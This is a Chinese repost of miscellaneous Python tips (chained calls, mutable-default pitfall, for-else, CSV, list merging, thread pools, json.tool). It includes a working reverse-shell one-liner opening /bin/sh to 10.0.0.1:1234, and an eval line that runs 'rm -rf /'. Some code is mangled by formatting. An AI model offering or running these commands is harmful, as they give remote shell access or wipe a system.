Python技巧续

coding

函数连续调用

  1. def add(x):

  2.    classAddNum(int):

  3.        def __call__(self, x):

  4.            returnAddNum(self.numerator + x)

  5.    returnAddNum(x)

  6. >>> add(2)(3)(5)

  7. 10

  8. >>> add(2)(3)(4)(5)(6)(7)

  9. 27

  10. #js

  11. var add =function(x){

  12.    var addNum =function(x){

  13.        return add(addNum + x);

  14.    };

  15.    addNum.toString =function(){

  16.        return x;

  17.    }

  18.    return addNum;

  19. }

  20. add(2)(3)(5)//10add(2)(3)(4)(5)(6)(7)

  21. //27

获取公网IP

  1. python-c "import socket; sock=socket.create_connection(('ns1.dnspod.net',6666)); print sock.recv(16); sock.close()"

反弹 shell

  1. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

默认值陷阱

  1. >>> def evil(v=[]):

  2. ...     v.append(1)

  3. ...     print v

  4. ...

  5. >>> evil()

  6. [1]

  7. >>> evil()

  8. [1,1]

import 导入一个 json

  1. $cat tester.json

  2. {

  3.    "hello":"world",

  4.    "this":{

  5.        "can":{

  6.            "be":"nested"

  7.        }

  8.    }

  9. }

  10. >>>import tester

  11. >>> tester

  12. <module 'tester' from 'tester.json'>

  13. >>> tester.hello

  14. u'world'

  15. >>> tester.this.can.be

  16. u'nested'

for else

  1. for i in range(10):

  2.    if i ==10:

  3.        break

  4.    print(i)

  5. else:

  6.    print('10不在里面!')

  7. flag =False

  8. for i in range(10):

  9.    if i ==10:

  10.        flag =True

  11.        break

  12.    print(i)

  13. if not flag:

  14.    print('10不在里面!')

读写csv文件

  1. #csv中读取文件,基本和传统文件读取类似

  2. import csv

  3. with open('data.csv','rb') as f:

  4.    reader = csv.reader(f)

  5.    for row in reader:

  6.        print row

  7. #csv文件写入

  8. import csv

  9. with open('data.csv','wb') as f:

  10.    writer = csv.writer(f)

  11.    writer.writerow(['name','address','age'])  #单行写入

  12.    data =[

  13.            ('xiaoming ','china','10'),

  14.            ('Lily','USA','12')]

  15.    writer.writerows(data)  #多行写入

多个 list 合并为一个 list

  1. >>> l=[[1,2,3],[4,5,6],[7,8,9]]

  2. >>>[j for i in l for j in i]

  3. [1,2,3,4,5,6,7,8,9]

  4. >>> sum(l,[])

  5. [1,2,3,4,5,6,7,8,9]

  6. >>> a =[1,3,5,7,9]

  7. >>> b =[2,3,4,5,6]

  8. >>> c =[5,6,7,8,9]

  9. >>> list(set().union(a, b, c))

  10. [1,2,3,4,5,6,7,8,9]

一行代码实现多线程/多进程

  1. import urllib2

  2. #多进程的话只需把 from multiprocessing.dummy 改成 from multiprocessing

  3. from multiprocessing.dummy importPool as ThreadPool

  4. urls =[    'http://www.python.org',     'http://www.python.org/about/',    'http://www.onlamp.com/pub/a/python/2003    ]

  5. pool =ThreadPool(4)

  6. results = pool.map(urllib2.urlopen, urls)

  7. pool.close()

  8. pool.join()

json 格式化

  1. echo '{"k": "v"}'| python -m json.tool

  2. curl -L http://restapi/json_response -o json-response | python -m json.tool

  3. import antigravity

  4. # https://hg.python.org/cpython/file/1823cf6e1084/Lib/antigravity.py

  5. #pydoc p 8080

  6. #python3 -m http.server 8080

  7. #FTP服务器

  8. python -m pyftpdlib

  9. [I 2017-09-0123:18:27]>>> starting FTP server on 0.0.0.0:2121, pid=16840<<<

  10. [I 2017-09-0123:18:27] concurrency model: async

  11. [I 2017-09-0123:18:27] masquerade (NAT) address:None

  12. [I 2017-09-0123:18:27] passive ports:None

eval

  1. >>>eval("__import__('os').system('rm -rf /')",{})

斐波那契数列

  1. >>import itertools

  2. >>> def fib():

  3. ...     a, b =0,1

  4. ...     while1:

  5. ...         yield b

  6. ...         a, b = b, a + b

  7. ...

  8. >>>

  9. >>> print list(itertools.islice(fib(),10))

  10. [1,1,2,3,5,8,13,21,34,55]

宇宙终极答案

  1. >>> ord('*')

  2. 42

参考链接

  1. http://dongweiming.github.io/Expert-Python/#3

  2. http://www.codeceo.com/article/17-python-tips.html

  3. https://www.zhihu.com/question/27376156


本文分享自微信公众号 - 苏生不惑(susheng_buhuo)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

以上是 Python技巧续 的全部内容, 来源链接: utcz.com/z/508887.html

回到顶部